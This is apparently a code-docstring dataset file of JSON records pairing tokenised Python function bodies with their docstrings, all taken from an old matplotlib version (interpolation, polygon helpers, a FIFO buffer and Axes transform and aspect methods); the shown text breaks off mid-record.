{"signature": "def stineman_interp(xi,x,y,yp=None):", "body": "<EOL>x=np.asarray(x, np.float_)<EOL>y=np.asarray(y, np.float_)<EOL>assert x.shape == y.shape<EOL>N=len(y)<EOL>if yp is None:<EOL><INDENT>yp = slopes(x,y)<EOL><DEDENT>else:<EOL><INDENT>yp=np.asarray(yp, np.float_)<EOL><DEDENT>xi=np.asarray(xi, np.float_)<EOL>yi=np.zeros(xi.shape, np.float_)<EOL>dx = x[<NUM_LIT:1>:] - x[:-<NUM_LIT:1>]<EOL>dy = y[<NUM_LIT:1>:] - y[:-<NUM_LIT:1>]<EOL>s = dy/dx  <EOL>idx = np.searchsorted(x[<NUM_LIT:1>:-<NUM_LIT:1>], xi)<EOL>sidx = s.take(idx)<EOL>xidx = x.take(idx)<EOL>yidx = y.take(idx)<EOL>xidxp1 = x.take(idx+<NUM_LIT:1>)<EOL>yo = yidx + sidx * (xi - xidx)<EOL>dy1 = (yp.take(idx)- sidx) * (xi - xidx)       <EOL>dy2 = (yp.take(idx+<NUM_LIT:1>)-sidx) * (xi - xidxp1) <EOL>dy1dy2 = dy1*dy2<EOL>yi = yo + dy1dy2 * np.choose(np.array(np.sign(dy1dy2), np.int32)+<NUM_LIT:1>,<EOL>((<NUM_LIT:2>*xi-xidx-xidxp1)/((dy1-dy2)*(xidxp1-xidx)),<EOL><NUM_LIT:0.0>,<EOL><NUM_LIT:1>/(dy1+dy2),))<EOL>return yi<EOL>", "docstring": "Given data vectors *x* and *y*, the slope vector *yp* and a new\nabscissa vector *xi*, the function :func:`stineman_interp` uses\nStineman interpolation to calculate a vector *yi* corresponding to\n*xi*.\n\nHere's an example that generates a coarse sine curve, then\ninterpolates over a finer abscissa::\n\n  x = linspace(0,2*pi,20);  y = sin(x); yp = cos(x)\n  xi = linspace(0,2*pi,40);\n  yi = stineman_interp(xi,x,y,yp);\n  plot(x,y,'o',xi,yi)\n\nThe interpolation method is described in the article A\nCONSISTENTLY WELL BEHAVED METHOD OF INTERPOLATION by Russell\nW. Stineman. The article appeared in the July 1980 issue of\nCreative Computing with a note from the editor stating that while\nthey were:\n\n  not an academic journal but once in a while something serious\n  and original comes in adding that this was\n  \"apparently a real solution\" to a well known problem.\n\nFor *yp* = *None*, the routine automatically determines the slopes\nusing the :func:`slopes` routine.\n\n*x* is assumed to be sorted in increasing order.\n\nFor values ``xi[j] < x[0]`` or ``xi[j] > x[-1]``, the routine\ntries an extrapolation.  The relevance of the data obtained from\nthis, of course, is questionable...\n\nOriginal implementation by Halldor Bjornsson, Icelandic\nMeteorolocial Office, March 2006 halldor at vedur.is\n\nCompletely reworked and optimized for Python by Norbert Nemec,\nInstitute of Theoretical Physics, University or Regensburg, April\n2006 Norbert.Nemec at physik.uni-regensburg.de", "id": "f17237:m95"}
{"signature": "def inside_poly(points, verts):", "body": "res, =  np.nonzero(nxutils.points_inside_poly(points, verts))<EOL>return res<EOL>", "docstring": "*points* is a sequence of *x*, *y* points.\n*verts* is a sequence of *x*, *y* vertices of a polygon.\n\nReturn value is a sequence of indices into points for the points\nthat are inside the polygon.", "id": "f17237:m96"}
{"signature": "def poly_below(xmin, xs, ys):", "body": "if ma.isMaskedArray(xs) or ma.isMaskedArray(ys):<EOL><INDENT>nx = ma<EOL><DEDENT>else:<EOL><INDENT>nx = np<EOL><DEDENT>xs = nx.asarray(xs)<EOL>ys = nx.asarray(ys)<EOL>Nx = len(xs)<EOL>Ny = len(ys)<EOL>assert(Nx==Ny)<EOL>x = xmin*nx.ones(<NUM_LIT:2>*Nx)<EOL>y = nx.ones(<NUM_LIT:2>*Nx)<EOL>x[:Nx] = xs<EOL>y[:Nx] = ys<EOL>y[Nx:] = ys[::-<NUM_LIT:1>]<EOL>return x, y<EOL>", "docstring": "Given a sequence of *xs* and *ys*, return the vertices of a\npolygon that has a horizontal base at *xmin* and an upper bound at\nthe *ys*.  *xmin* is a scalar.\n\nIntended for use with :meth:`matplotlib.axes.Axes.fill`, eg::\n\n  xv, yv = poly_below(0, x, y)\n  ax.fill(xv, yv)", "id": "f17237:m97"}
{"signature": "def poly_between(x, ylower, yupper):", "body": "if ma.isMaskedArray(ylower) or ma.isMaskedArray(yupper) or ma.isMaskedArray(x):<EOL><INDENT>nx = ma<EOL><DEDENT>else:<EOL><INDENT>nx = np<EOL><DEDENT>Nx = len(x)<EOL>if not cbook.iterable(ylower):<EOL><INDENT>ylower = ylower*nx.ones(Nx)<EOL><DEDENT>if not cbook.iterable(yupper):<EOL><INDENT>yupper = yupper*nx.ones(Nx)<EOL><DEDENT>x = nx.concatenate( (x, x[::-<NUM_LIT:1>]) )<EOL>y = nx.concatenate( (yupper, ylower[::-<NUM_LIT:1>]) )<EOL>return x,y<EOL>", "docstring": "Given a sequence of *x*, *ylower* and *yupper*, return the polygon\nthat fills the regions between them.  *ylower* or *yupper* can be\nscalar or iterable.  If they are iterable, they must be equal in\nlength to *x*.\n\nReturn value is *x*, *y* arrays for use with\n:meth:`matplotlib.axes.Axes.fill`.", "id": "f17237:m98"}
{"signature": "def is_closed_polygon(X):", "body": "return np.all(X[<NUM_LIT:0>] == X[-<NUM_LIT:1>])<EOL>", "docstring": "Tests whether first and last object in a sequence are the same.  These are\npresumably coordinates on a polygonal curve, in which case this function\ntests if that curve is closed.", "id": "f17237:m99"}
{"signature": "def contiguous_regions(mask):", "body": "in_region = None<EOL>boundaries = []<EOL>for i, val in enumerate(mask):<EOL><INDENT>if in_region is None and val:<EOL><INDENT>in_region = i<EOL><DEDENT>elif in_region is not None and not val:<EOL><INDENT>boundaries.append((in_region, i))<EOL>in_region = None<EOL><DEDENT><DEDENT>if in_region is not None:<EOL><INDENT>boundaries.append((in_region, i+<NUM_LIT:1>))<EOL><DEDENT>return boundaries<EOL>", "docstring": "return a list of (ind0, ind1) such that mask[ind0:ind1].all() is\nTrue and we cover all such regions\n\nTODO: this is a pure python implementation which probably has a much faster numpy impl", "id": "f17237:m100"}
{"signature": "def vector_lengths( X, P=<NUM_LIT>, axis=None ):", "body": "X = np.asarray(X)<EOL>return (np.sum(X**(P),axis=axis))**(<NUM_LIT:1.>/P)<EOL>", "docstring": "Finds the length of a set of vectors in *n* dimensions.  This is\nlike the :func:`numpy.norm` function for vectors, but has the ability to\nwork over a particular axis of the supplied array or matrix.\n\nComputes ``(sum((x_i)^P))^(1/P)`` for each ``{x_i}`` being the\nelements of *X* along the given axis.  If *axis* is *None*,\ncompute over all elements of *X*.", "id": "f17237:m101"}
{"signature": "def distances_along_curve( X ):", "body": "X = np.diff( X, axis=<NUM_LIT:0> )<EOL>return vector_lengths(X,axis=<NUM_LIT:1>)<EOL>", "docstring": "Computes the distance between a set of successive points in *N* dimensions.\n\nWhere *X* is an *M* x *N* array or matrix.  The distances between\nsuccessive rows is computed.  Distance is the standard Euclidean\ndistance.", "id": "f17237:m102"}
{"signature": "def path_length(X):", "body": "X = distances_along_curve(X)<EOL>return np.concatenate( (np.zeros(<NUM_LIT:1>), np.cumsum(X)) )<EOL>", "docstring": "Computes the distance travelled along a polygonal curve in *N* dimensions.\n\nWhere *X* is an *M* x *N* array or matrix.  Returns an array of\nlength *M* consisting of the distance along the curve at each point\n(i.e., the rows of *X*).", "id": "f17237:m103"}
{"signature": "def quad2cubic(q0x, q0y, q1x, q1y, q2x, q2y):", "body": "<EOL>c1x, c1y = q0x + <NUM_LIT>/<NUM_LIT> * (q1x - q0x), q0y + <NUM_LIT>/<NUM_LIT> * (q1y - q0y)<EOL>c2x, c2y = c1x + <NUM_LIT:1.>/<NUM_LIT> * (q2x - q0x), c1y + <NUM_LIT:1.>/<NUM_LIT> * (q2y - q0y)<EOL>return q0x, q0y, c1x, c1y, c2x, c2y, q2x, q2y<EOL>", "docstring": "Converts a quadratic Bezier curve to a cubic approximation.\n\nThe inputs are the *x* and *y* coordinates of the three control\npoints of a quadratic curve, and the output is a tuple of *x* and\n*y* coordinates of the four control points of the cubic curve.", "id": "f17237:m104"}
{"signature": "def __init__(self, nmax):", "body": "self._xa = np.zeros((nmax,), np.float_)<EOL>self._ya = np.zeros((nmax,), np.float_)<EOL>self._xs = np.zeros((nmax,), np.float_)<EOL>self._ys = np.zeros((nmax,), np.float_)<EOL>self._ind = <NUM_LIT:0><EOL>self._nmax = nmax<EOL>self.dataLim = None<EOL>self.callbackd = {}<EOL>", "docstring": "Buffer up to *nmax* points.", "id": "f17237:c0:m0"}
{"signature": "def register(self, func, N):", "body": "self.callbackd.setdefault(N, []).append(func)<EOL>", "docstring": "Call *func* every time *N* events are passed; *func* signature\nis ``func(fifo)``.", "id": "f17237:c0:m1"}
{"signature": "def add(self, x, y):", "body": "if self.dataLim is not None:<EOL><INDENT>xys = ((x,y),)<EOL>self.dataLim.update(xys, -<NUM_LIT:1>) <EOL><DEDENT>ind = self._ind % self._nmax<EOL>self._xs[ind] = x<EOL>self._ys[ind] = y<EOL>for N,funcs in list(self.callbackd.items()):<EOL><INDENT>if (self._ind%N)==<NUM_LIT:0>:<EOL><INDENT>for func in funcs:<EOL><INDENT>func(self)<EOL><DEDENT><DEDENT><DEDENT>self._ind += <NUM_LIT:1><EOL>", "docstring": "Add scalar *x* and *y* to the queue.", "id": "f17237:c0:m2"}
{"signature": "def last(self):", "body": "if self._ind==<NUM_LIT:0>: return None, None<EOL>ind = (self._ind-<NUM_LIT:1>) % self._nmax<EOL>return self._xs[ind], self._ys[ind]<EOL>", "docstring": "Get the last *x*, *y* or *None*.  *None* if no data set.", "id": "f17237:c0:m3"}
{"signature": "def asarrays(self):", "body": "if self._ind<self._nmax:<EOL><INDENT>return self._xs[:self._ind], self._ys[:self._ind]<EOL><DEDENT>ind = self._ind % self._nmax<EOL>self._xa[:self._nmax-ind] = self._xs[ind:]<EOL>self._xa[self._nmax-ind:] = self._xs[:ind]<EOL>self._ya[:self._nmax-ind] = self._ys[ind:]<EOL>self._ya[self._nmax-ind:] = self._ys[:ind]<EOL>return self._xa, self._ya<EOL>", "docstring": "Return *x* and *y* as arrays; their length will be the len of\ndata added or *nmax*.", "id": "f17237:c0:m4"}
{"signature": "def update_datalim_to_current(self):", "body": "if self.dataLim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>x, y = self.asarrays()<EOL>self.dataLim.update_numerix(x, y, True)<EOL>", "docstring": "Update the *datalim* in the current data in the fifo.", "id": "f17237:c0:m5"}
{"signature": "def _process_plot_format(fmt):", "body": "linestyle = None<EOL>marker = None<EOL>color = None<EOL>try:<EOL><INDENT>color = mcolors.colorConverter.to_rgb(fmt)<EOL>return linestyle, marker, color     <EOL><DEDENT>except ValueError:<EOL><INDENT>pass                                <EOL><DEDENT>if fmt.find('<STR_LIT>')>=<NUM_LIT:0>:<EOL><INDENT>linestyle = '<STR_LIT>'<EOL>fmt = fmt.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>if fmt.find('<STR_LIT>')>=<NUM_LIT:0>:<EOL><INDENT>linestyle = '<STR_LIT>'<EOL>fmt = fmt.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>if fmt.find('<STR_LIT:U+0020>')>=<NUM_LIT:0>:<EOL><INDENT>linestyle = '<STR_LIT:None>'<EOL>fmt = fmt.replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL><DEDENT>chars = [c for c in fmt]<EOL>for c in chars:<EOL><INDENT>if c in mlines.lineStyles:<EOL><INDENT>if linestyle is not None:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % fmt)<EOL><DEDENT>linestyle = c<EOL><DEDENT>elif c in mlines.lineMarkers:<EOL><INDENT>if marker is not None:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % fmt)<EOL><DEDENT>marker = c<EOL><DEDENT>elif c in mcolors.colorConverter.colors:<EOL><INDENT>if color is not None:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % fmt)<EOL><DEDENT>color = c<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % c)<EOL><DEDENT><DEDENT>if linestyle is None and marker is None:<EOL><INDENT>linestyle = rcParams['<STR_LIT>']<EOL><DEDENT>if linestyle is None:<EOL><INDENT>linestyle = '<STR_LIT:None>'<EOL><DEDENT>if marker is None:<EOL><INDENT>marker = '<STR_LIT:None>'<EOL><DEDENT>return linestyle, marker, color<EOL>", "docstring": "Process a matlab(TM) style color/line style format string.  Return a\n(*linestyle*, *color*) tuple as a result of the processing.  Default\nvalues are ('-', 'b').  Example format strings include:\n\n* 'ko': black circles\n* '.b': blue dots\n* 'r--': red dashed lines\n\n.. seealso::\n    :func:`~matplotlib.Line2D.lineStyles` and\n    :func:`~matplotlib.pyplot.colors`:\n        for all possible styles and color format string.", "id": "f17238:m0"}
{"signature": "def set_default_color_cycle(clist):", "body": "_process_plot_var_args.defaultColors = clist[:]<EOL>rcParams['<STR_LIT>'] = clist[<NUM_LIT:0>]<EOL>", "docstring": "Change the default cycle of colors that will be used by the plot\ncommand.  This must be called before creating the\n:class:`Axes` to which it will apply; it will\napply to all future axes.\n\n*clist* is a sequence of mpl color specifiers", "id": "f17238:m1"}
{"signature": "def get_window_extent(self, *args, **kwargs):", "body": "return self.bbox<EOL>", "docstring": "get the axes bounding box in display space; *args* and\n*kwargs* are empty", "id": "f17238:c1:m2"}
{"signature": "def _init_axis(self):", "body": "self.xaxis = maxis.XAxis(self)<EOL>self.yaxis = maxis.YAxis(self)<EOL>self._update_transScale()<EOL>", "docstring": "move this out of __init__ because non-separable axes don't use it", "id": "f17238:c1:m3"}
{"signature": "def set_figure(self, fig):", "body": "martist.Artist.set_figure(self, fig)<EOL>self.bbox = mtransforms.TransformedBbox(self._position, fig.transFigure)<EOL>self.dataLim = mtransforms.Bbox.unit()<EOL>self.viewLim = mtransforms.Bbox.unit()<EOL>self.transScale = mtransforms.TransformWrapper(<EOL>mtransforms.IdentityTransform())<EOL>self._set_lim_and_transforms()<EOL>", "docstring": "Set the class:`~matplotlib.axes.Axes` figure\n\naccepts a class:`~matplotlib.figure.Figure` instance", "id": "f17238:c1:m4"}
{"signature": "def _set_lim_and_transforms(self):", "body": "self.transAxes = mtransforms.BboxTransformTo(self.bbox)<EOL>self.transScale = mtransforms.TransformWrapper(<EOL>mtransforms.IdentityTransform())<EOL>self.transLimits = mtransforms.BboxTransformFrom(<EOL>mtransforms.TransformedBbox(self.viewLim, self.transScale))<EOL>self.transData = self.transScale + (self.transLimits + self.transAxes)<EOL>self._xaxis_transform = mtransforms.blended_transform_factory(<EOL>self.axes.transData, self.axes.transAxes)<EOL>self._yaxis_transform = mtransforms.blended_transform_factory(<EOL>self.axes.transAxes, self.axes.transData)<EOL>", "docstring": "set the *dataLim* and *viewLim*\n:class:`~matplotlib.transforms.Bbox` attributes and the\n*transScale*, *transData*, *transLimits* and *transAxes*\ntransformations.", "id": "f17238:c1:m5"}
{"signature": "def get_xaxis_transform(self):", "body": "return self._xaxis_transform<EOL>", "docstring": "Get the transformation used for drawing x-axis labels, ticks\nand gridlines.  The x-direction is in data coordinates and the\ny-direction is in axis coordinates.\n\n.. note::\n    This transformation is primarily used by the\n    :class:`~matplotlib.axis.Axis` class, and is meant to be\n    overridden by new kinds of projections that may need to\n    place axis elements in different locations.", "id": "f17238:c1:m6"}
{"signature": "def get_xaxis_text1_transform(self, pad_points):", "body": "return (self._xaxis_transform +<EOL>mtransforms.ScaledTranslation(<NUM_LIT:0>, -<NUM_LIT:1> * pad_points / <NUM_LIT>,<EOL>self.figure.dpi_scale_trans),<EOL>\"<STR_LIT>\", \"<STR_LIT>\")<EOL>", "docstring": "Get the transformation used for drawing x-axis labels, which\nwill add the given amount of padding (in points) between the\naxes and the label.  The x-direction is in data coordinates\nand the y-direction is in axis coordinates.  Returns a\n3-tuple of the form::\n\n  (transform, valign, halign)\n\nwhere *valign* and *halign* are requested alignments for the\ntext.\n\n.. note::\n    This transformation is primarily used by the\n    :class:`~matplotlib.axis.Axis` class, and is meant to be\n    overridden by new kinds of projections that may need to\n    place axis elements in different locations.", "id": "f17238:c1:m7"}
{"signature": "def get_xaxis_text2_transform(self, pad_points):", "body": "return (self._xaxis_transform +<EOL>mtransforms.ScaledTranslation(<NUM_LIT:0>, pad_points / <NUM_LIT>,<EOL>self.figure.dpi_scale_trans),<EOL>\"<STR_LIT>\", \"<STR_LIT>\")<EOL>", "docstring": "Get the transformation used for drawing the secondary x-axis\nlabels, which will add the given amount of padding (in points)\nbetween the axes and the label.  The x-direction is in data\ncoordinates and the y-direction is in axis coordinates.\nReturns a 3-tuple of the form::\n\n  (transform, valign, halign)\n\nwhere *valign* and *halign* are requested alignments for the\ntext.\n\n.. note::\n    This transformation is primarily used by the\n    :class:`~matplotlib.axis.Axis` class, and is meant to be\n    overridden by new kinds of projections that may need to\n    place axis elements in different locations.", "id": "f17238:c1:m8"}
{"signature": "def get_yaxis_transform(self):", "body": "return self._yaxis_transform<EOL>", "docstring": "Get the transformation used for drawing y-axis labels, ticks\nand gridlines.  The x-direction is in axis coordinates and the\ny-direction is in data coordinates.\n\n.. note::\n    This transformation is primarily used by the\n    :class:`~matplotlib.axis.Axis` class, and is meant to be\n    overridden by new kinds of projections that may need to\n    place axis elements in different locations.", "id": "f17238:c1:m9"}
{"signature": "def get_yaxis_text1_transform(self, pad_points):", "body": "return (self._yaxis_transform +<EOL>mtransforms.ScaledTranslation(-<NUM_LIT:1> * pad_points / <NUM_LIT>, <NUM_LIT:0>,<EOL>self.figure.dpi_scale_trans),<EOL>\"<STR_LIT>\", \"<STR_LIT:right>\")<EOL>", "docstring": "Get the transformation used for drawing y-axis labels, which\nwill add the given amount of padding (in points) between the\naxes and the label.  The x-direction is in axis coordinates\nand the y-direction is in data coordinates.  Returns a 3-tuple\nof the form::\n\n  (transform, valign, halign)\n\nwhere *valign* and *halign* are requested alignments for the\ntext.\n\n.. note::\n    This transformation is primarily used by the\n    :class:`~matplotlib.axis.Axis` class, and is meant to be\n    overridden by new kinds of projections that may need to\n    place axis elements in different locations.", "id": "f17238:c1:m10"}
{"signature": "def get_yaxis_text2_transform(self, pad_points):", "body": "return (self._yaxis_transform +<EOL>mtransforms.ScaledTranslation(pad_points / <NUM_LIT>, <NUM_LIT:0>,<EOL>self.figure.dpi_scale_trans),<EOL>\"<STR_LIT>\", \"<STR_LIT:left>\")<EOL>", "docstring": "Get the transformation used for drawing the secondary y-axis\nlabels, which will add the given amount of padding (in points)\nbetween the axes and the label.  The x-direction is in axis\ncoordinates and the y-direction is in data coordinates.\nReturns a 3-tuple of the form::\n\n  (transform, valign, halign)\n\nwhere *valign* and *halign* are requested alignments for the\ntext.\n\n.. note::\n\n    This transformation is primarily used by the\n    :class:`~matplotlib.axis.Axis` class, and is meant to be\n    overridden by new kinds of projections that may need to\n    place axis elements in different locations.", "id": "f17238:c1:m11"}
{"signature": "def get_position(self, original=False):", "body": "if original:<EOL><INDENT>return self._originalPosition.frozen()<EOL><DEDENT>else:<EOL><INDENT>return self._position.frozen()<EOL><DEDENT>", "docstring": "Return the a copy of the axes rectangle as a Bbox", "id": "f17238:c1:m13"}
{"signature": "def set_position(self, pos, which='<STR_LIT>'):", "body": "if not isinstance(pos, mtransforms.BboxBase):<EOL><INDENT>pos = mtransforms.Bbox.from_bounds(*pos)<EOL><DEDENT>if which in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>self._position.set(pos)<EOL><DEDENT>if which in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>self._originalPosition.set(pos)<EOL><DEDENT>", "docstring": "Set the axes position with::\n\n  pos = [left, bottom, width, height]\n\nin relative 0,1 coords, or *pos* can be a\n:class:`~matplotlib.transforms.Bbox`\n\nThere are two position variables: one which is ultimately\nused, but which may be modified by :meth:`apply_aspect`, and a\nsecond which is the starting point for :meth:`apply_aspect`.\n\n\nOptional keyword arguments:\n  *which*\n\n    ==========   ====================\n    value        description\n    ==========   ====================\n    'active'     to change the first\n    'original'   to change the second\n    'both'       to change both\n    ==========   ====================", "id": "f17238:c1:m14"}
{"signature": "def reset_position(self):", "body": "pos = self.get_position(original=True)<EOL>self.set_position(pos, which='<STR_LIT>')<EOL>", "docstring": "Make the original position the active position", "id": "f17238:c1:m15"}
{"signature": "def _set_artist_props(self, a):", "body": "a.set_figure(self.figure)<EOL>if not a.is_transform_set():<EOL><INDENT>a.set_transform(self.transData)<EOL><DEDENT>a.set_axes(self)<EOL>", "docstring": "set the boilerplate props for artists added to axes", "id": "f17238:c1:m16"}
{"signature": "def _gen_axes_patch(self):", "body": "return mpatches.Rectangle((<NUM_LIT:0.0>, <NUM_LIT:0.0>), <NUM_LIT:1.0>, <NUM_LIT:1.0>)<EOL>", "docstring": "Returns the patch used to draw the background of the axes.  It\nis also used as the clipping path for any data elements on the\naxes.\n\nIn the standard axes, this is a rectangle, but in other\nprojections it may not be.\n\n.. note::\n    Intended to be overridden by new projection types.", "id": "f17238:c1:m17"}
{"signature": "def cla(self):", "body": "<EOL>self.xaxis.cla()<EOL>self.yaxis.cla()<EOL>self.ignore_existing_data_limits = True<EOL>self.callbacks = cbook.CallbackRegistry(('<STR_LIT>',<EOL>'<STR_LIT>'))<EOL>if self._sharex is not None:<EOL><INDENT>self.xaxis.major = self._sharex.xaxis.major<EOL>self.xaxis.minor = self._sharex.xaxis.minor<EOL>x0, x1 = self._sharex.get_xlim()<EOL>self.set_xlim(x0, x1, emit=False)<EOL>self.xaxis.set_scale(self._sharex.xaxis.get_scale())<EOL><DEDENT>else:<EOL><INDENT>self.xaxis.set_scale('<STR_LIT>')<EOL><DEDENT>if self._sharey is not None:<EOL><INDENT>self.yaxis.major = self._sharey.yaxis.major<EOL>self.yaxis.minor = self._sharey.yaxis.minor<EOL>y0, y1 = self._sharey.get_ylim()<EOL>self.set_ylim(y0, y1, emit=False)<EOL>self.yaxis.set_scale(self._sharey.yaxis.get_scale())<EOL><DEDENT>else:<EOL><INDENT>self.yaxis.set_scale('<STR_LIT>')<EOL><DEDENT>self._autoscaleon = True<EOL>self._update_transScale()         <EOL>self._get_lines = _process_plot_var_args(self)<EOL>self._get_patches_for_fill = _process_plot_var_args(self, '<STR_LIT>')<EOL>self._gridOn = rcParams['<STR_LIT>']<EOL>self.lines = []<EOL>self.patches = []<EOL>self.texts = []<EOL>self.tables = []<EOL>self.artists = []<EOL>self.images = []<EOL>self.legend_ = None<EOL>self.collections = []  <EOL>self.grid(self._gridOn)<EOL>props = font_manager.FontProperties(size=rcParams['<STR_LIT>'])<EOL>self.titleOffsetTrans = mtransforms.ScaledTranslation(<EOL><NUM_LIT:0.0>, <NUM_LIT> / <NUM_LIT>, self.figure.dpi_scale_trans)<EOL>self.title =  mtext.Text(<EOL>x=<NUM_LIT:0.5>, y=<NUM_LIT:1.0>, text='<STR_LIT>',<EOL>fontproperties=props,<EOL>verticalalignment='<STR_LIT>',<EOL>horizontalalignment='<STR_LIT>',<EOL>)<EOL>self.title.set_transform(self.transAxes + self.titleOffsetTrans)<EOL>self.title.set_clip_box(None)<EOL>self._set_artist_props(self.title)<EOL>self.patch = self.axesPatch = self._gen_axes_patch()<EOL>self.patch.set_figure(self.figure)<EOL>self.patch.set_facecolor(self._axisbg)<EOL>self.patch.set_edgecolor('<STR_LIT:None>')<EOL>self.patch.set_linewidth(<NUM_LIT:0>)<EOL>self.patch.set_transform(self.transAxes)<EOL>self.frame = self.axesFrame = self._gen_axes_patch()<EOL>self.frame.set_figure(self.figure)<EOL>self.frame.set_facecolor('<STR_LIT:none>')<EOL>self.frame.set_edgecolor(rcParams['<STR_LIT>'])<EOL>self.frame.set_linewidth(rcParams['<STR_LIT>'])<EOL>self.frame.set_transform(self.transAxes)<EOL>self.frame.set_zorder(<NUM_LIT>)<EOL>self.axison = True<EOL>self.xaxis.set_clip_path(self.patch)<EOL>self.yaxis.set_clip_path(self.patch)<EOL>self._shared_x_axes.clean()<EOL>self._shared_y_axes.clean()<EOL>", "docstring": "Clear the current axes", "id": "f17238:c1:m18"}
{"signature": "def clear(self):", "body": "self.cla()<EOL>", "docstring": "clear the axes", "id": "f17238:c1:m19"}
{"signature": "def set_color_cycle(self, clist):", "body": "self._get_lines.set_color_cycle(clist)<EOL>", "docstring": "Set the color cycle for any future plot commands on this Axes.\n\nclist is a list of mpl color specifiers.", "id": "f17238:c1:m20"}
{"signature": "def ishold(self):", "body": "return self._hold<EOL>", "docstring": "return the HOLD status of the axes", "id": "f17238:c1:m21"}
{"signature": "def hold(self, b=None):", "body": "if b is None:<EOL><INDENT>self._hold = not self._hold<EOL><DEDENT>else:<EOL><INDENT>self._hold = b<EOL><DEDENT>", "docstring": "call signature::\n\n  hold(b=None)\n\nSet the hold state.  If *hold* is *None* (default), toggle the\n*hold* state.  Else set the *hold* state to boolean value *b*.\n\nExamples:\n\n* toggle hold:\n  >>> hold()\n* turn hold on:\n  >>> hold(True)\n* turn hold off\n  >>> hold(False)\n\n\nWhen hold is True, subsequent plot commands will be added to\nthe current axes.  When hold is False, the current axes and\nfigure will be cleared on the next plot command", "id": "f17238:c1:m22"}
{"signature": "def set_aspect(self, aspect, adjustable=None, anchor=None):", "body": "if aspect in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>self._aspect = '<STR_LIT>'<EOL><DEDENT>elif aspect == '<STR_LIT>':<EOL><INDENT>self._aspect = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self._aspect = float(aspect) <EOL><DEDENT>if adjustable is not None:<EOL><INDENT>self.set_adjustable(adjustable)<EOL><DEDENT>if anchor is not None:<EOL><INDENT>self.set_anchor(anchor)<EOL><DEDENT>", "docstring": "*aspect*\n\n  ========   ================================================\n  value      description\n  ========   ================================================\n  'auto'     automatic; fill position rectangle with data\n  'normal'   same as 'auto'; deprecated\n  'equal'    same scaling from data to plot units for x and y\n   num       a circle will be stretched such that the height\n             is num times the width. aspect=1 is the same as\n             aspect='equal'.\n  ========   ================================================\n\n*adjustable*\n\n  =========   ============================\n  value       description\n  =========   ============================\n  'box'       change physical size of axes\n  'datalim'   change xlim or ylim\n  =========   ============================\n\n*anchor*\n\n  =====   =====================\n  value   description\n  =====   =====================\n  'C'     centered\n  'SW'    lower left corner\n  'S'     middle of bottom edge\n  'SE'    lower right corner\n  etc.\n  =====   =====================", "id": "f17238:c1:m24"}
{"signature": "def set_adjustable(self, adjustable):", "body": "if adjustable in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if self in self._shared_x_axes or self in self._shared_y_axes:<EOL><INDENT>if adjustable == '<STR_LIT>':<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>self._adjustable = adjustable<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "ACCEPTS: [ 'box' | 'datalim' ]", "id": "f17238:c1:m26"}
{"signature": "def set_anchor(self, anchor):", "body": "if anchor in list(mtransforms.Bbox.coefs.keys()) or len(anchor) == <NUM_LIT:2>:<EOL><INDENT>self._anchor = anchor<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' %<EOL>'<STR_LIT:U+002CU+0020>'.join(list(mtransforms.BBox.coefs.keys())))<EOL><DEDENT>", "docstring": "*anchor*\n\n  =====  ============\n  value  description\n  =====  ============\n  'C'    Center\n  'SW'   bottom left\n  'S'    bottom\n  'SE'   bottom right\n  'E'    right\n  'NE'   top right\n  'N'    top\n  'NW'   top left\n  'W'    left\n  =====  ============", "id": "f17238:c1:m28"}
{"signature": "def get_data_ratio(self):", "body": "xmin,xmax = self.get_xbound()<EOL>xsize = max(math.fabs(xmax-xmin), <NUM_LIT>)<EOL>ymin,ymax = self.get_ybound()<EOL>ysize = max(math.fabs(ymax-ymin), <NUM_LIT>)<EOL>return ysize/xsize<EOL>", "docstring": "Returns the aspect ratio of the raw data.\n\nThis method is intended to be overridden by new projection\ntypes.", "id": "f17238:c1:m29"}
{"signature": "def apply_aspect(self, position=None):", "body": "if position is None:<EOL><INDENT>position = self.get_position(original=True)<EOL><DEDENT>aspect = self.get_aspect()<EOL>if aspect == '<STR_LIT>':<EOL><INDENT>self.set_position( position , which='<STR_LIT>')<EOL>return<EOL><DEDENT>if aspect == '<STR_LIT>':<EOL><INDENT>A = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>A = aspect<EOL><DEDENT>if self in self._shared_x_axes or self in self._shared_y_axes:<EOL><INDENT>if self._adjustable == '<STR_LIT>':<EOL><INDENT>self._adjustable = '<STR_LIT>'<EOL>warnings.warn(<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>figW,figH = self.get_figure().get_size_inches()<EOL>fig_aspect = figH/figW<EOL>if self._adjustable == '<STR_LIT>':<EOL><INDENT>box_aspect = A * self.get_data_ratio()<EOL>pb = position.frozen()<EOL>pb1 = pb.shrunk_to_aspect(box_aspect, pb, fig_aspect)<EOL>self.set_position(pb1.anchored(self.get_anchor(), pb), '<STR_LIT>')<EOL>return<EOL><DEDENT>self.set_position(position, which='<STR_LIT>')<EOL>xmin,xmax = self.get_xbound()<EOL>xsize = max(math.fabs(xmax-xmin), <NUM_LIT>)<EOL>ymin,ymax = self.get_ybound()<EOL>ysize = max(math.fabs(ymax-ymin), <NUM_LIT>)<EOL>l,b,w,h = position.bounds<EOL>box_aspect = fig_aspect * (h/w)<EOL>data_ratio = box_aspect / A<EOL>y_expander = (data_ratio*xsize/ysize - <NUM_LIT:1.0>)<EOL>if abs(y_expander) < <NUM_LIT>:<EOL><INDENT>return<EOL><DEDENT>dL = self.dataLim<EOL>xr = <NUM_LIT> * dL.width<EOL>yr = <NUM_LIT> * dL.height<EOL>xmarg = xsize - xr<EOL>ymarg = ysize - 